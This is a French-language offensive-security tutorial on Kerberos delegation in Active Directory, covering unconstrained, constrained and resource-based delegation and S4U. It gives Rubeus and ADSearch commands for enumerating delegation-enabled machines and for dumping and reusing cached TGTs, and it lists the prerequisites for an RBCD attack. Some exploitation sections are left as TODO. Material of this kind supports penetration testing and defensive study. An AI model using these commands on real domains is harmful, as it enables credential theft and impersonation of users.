Nym0x

Délégation Kerberos

La délégation permet à un utilisateur ou à une machine d’agir au nom d’un autre utilisateur pour accéder à un service.

Exemple courant : un utilisateur s’authentifie sur une application web frontal qui intéragit avec une base de données en arrière plan. L’application web doit alors s’authentifier après de la base de données en tant que l’utilisateur.

Trois principaux schémas de délégation existent :

  • La délégation non contrainte
  • La délégation contrainte
  • La délégation contrainte basée sur les ressources

Délégation non contrainte

Principe

Ce schéma de délégation est la moins contraignante et se matérialise simplement par le passage à True de l’attribut TrustedForDelegation d’un service. Cela va permettre d’usurper n’importe quel utilisateur, pour n’importe quel service.

Lors d’une délégation non contrainte, le contrôleur de domaine (DC) inclut une copie du TGT de l’utilisateur dans le ticket de service (ST). Ainsi, dans l’exemple du dessus, le serveur web va recueillir le ST de l’utilisateur, puis l’extraire pour en récupérer un TGT et le stocker en mémoire. Lorsque le serveur web doit accéder à la base de données, il utilise le TGT pour demander un ST au nom de l’utilisateur.

Ainsi, si un attaquant parvient à compromettre une machine configurée pour la délégation non contrainte, il pourra extraire les TGT stockés en mémoire et les utiliser pour usurper l’identité des utilisateurs et accéder à d’autres services au sein du domaine.

Exploitation

TODO

Dans un premier temps, énumérer les machines qui sont autorisées à faire de la délégation non contrainte :

ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

Attention : les contrôleurs de domaine sont toujours autorisés à faire de la délégation non contrainte.

Il faut ensuite compromettre une machine listée comme autorisée à faire de la délégation non contrainte. Par la suite, il faudra lister en tant que SYSTEM les tickets en cache sur le poste :

Rubeus.exe triage

# La fonction "Monitor" de Rubeus permet de se mettre en écoute
Rubeus.exe monitor /interval:10 /nowrap

Puis, extraire le TGT souhaité en spécifiant avec le LUID du ticket :

Rubeus.exe dump /luid:$LUID /nowrap

Puis créer une nouvelle session en intégrant le TGT extrait :

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:$DOMAIN /username:$USERNAME /password:FakePass /ticket:$TICKET

Délégation contrainte

Principe

Introduite dans Windows Server 2003 comme un moyen plus sûr de faire de la délégation Kerberos. Elle limite les services pouvant agir au nom d’un utilisateur, ne conserve plus le TGT de l’utilisateur en cache et autorise le délégateur à demander un ST pour un autre utilisateur en utilisant son propre TGT.

Exploitation

TODO

Dans un premier temps, énumérer les machines qui sont autorisées à faire de la délégation contrainte :

ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes samaccountname,dnshostname,msds-allowedtodelegateto --json

Récolter le TGT de l’objet (utilisateur ou ordinateur) délégateur :

Rubeus.exe triage
Rubeus.exe dump /luid:$LUID /service:krbtgt /nowrap

Délégation contrainte basée sur les ressources (RBCD)

Principe

La RBCD est un mécanisme Kerberos introduite avec Windows Server 2012. Contrairement aux deux précédentes délégation, celle-ci est configurée au niveau du service final, et non pas du délégateur, via l’attribut msDS-AllowedToActOnBehalfOfOtherIdentity. Cet attribut contient un Security Descriptor listant les comptes autorisés à agir au nom d’autres utilisateurs auprès de cette ressource.

Exemple : le service mssql\SQLSERVER01 fait confiance au compte WEBSERVER$. Si un utilisateur s’authentifie auprès de WEBSERVER$, il pourra lui-même s’authentifier auprès de la ressource en tant que l’utilisateur. Mais si un utilisateur s’authentifie auprès d’un compte qui ne fait pas partie de la liste de confiance de mssql\SQLSERVER01, ce compte ne pourra pas se faire passer pour cet utilisateur auprès du service.

Scénario d’attaque : Cette délégation peut être utilisée d’un point de vue offensif pour compromettre totalement un poste ou serveur, en y obtenant les privilèges SYSTEM. Cela nécessite préalablement les éléments suivants :

  • Il faut pouvoir éditer l’attribut msDS-AllowedToActOnBehalfOfOtherIdentity de la cible. Deux pistes sont documentées pour réaliser ceci :
    • Obtenir un compte détenant des ACL telles que WriteProperty, GenericAll, GenericWrite ou WriteDACL sur cette machine ;
    • Compromettre la cible via une attaque par relais WebDAV en utilisant du coercing. Car pour rappel, les comptes machines peuvent éditer leur propre attribut msDS-AllowedToActOnBehalfOfOtherIdentity
  • Il faut posséder un compte de service, autrement dit un compte disposant d’un SPN ou pouvant s’ajouter/modifier des SPN :
    • Création d’un compte machine
    • Compromission d’un compte de service détenant des SPN qui nous intéressent

Attention, pour pouvoir usurper un compte privilégié, il faut s’assurer que :

  • Le compte usurpé ne fait pas partie du groupe Protected Users
  • Le compte usurpé ne possède pas le flag UserAccountControl = 0x100000 / l’attribut CannotBeDelegated à True

Exploitation

–

S4U

S4U (Service For User) est une extension du protocole Kerberos permettant la délégation. Elle intègre deux autres mécanismes :

  • S4U2Proxy : permet à un service d’obtenir un ST pour un second service au nom d’un utilisateur, correspond à la délégation contrainte.
  • S4U2Self : permet à un service d’obtenir un ST pour lui-même mais au nom d’un autre utilisateur. Exemple : le service « HTTP/app.example.com » demande un ST pour « HTTP/app.example.com » au nom de “random_user”.

Ressources

  • https://ad-guide.blog/posts/attaque-rbcd/
  • https://blog.oppida.apave.com/posts/RBCD/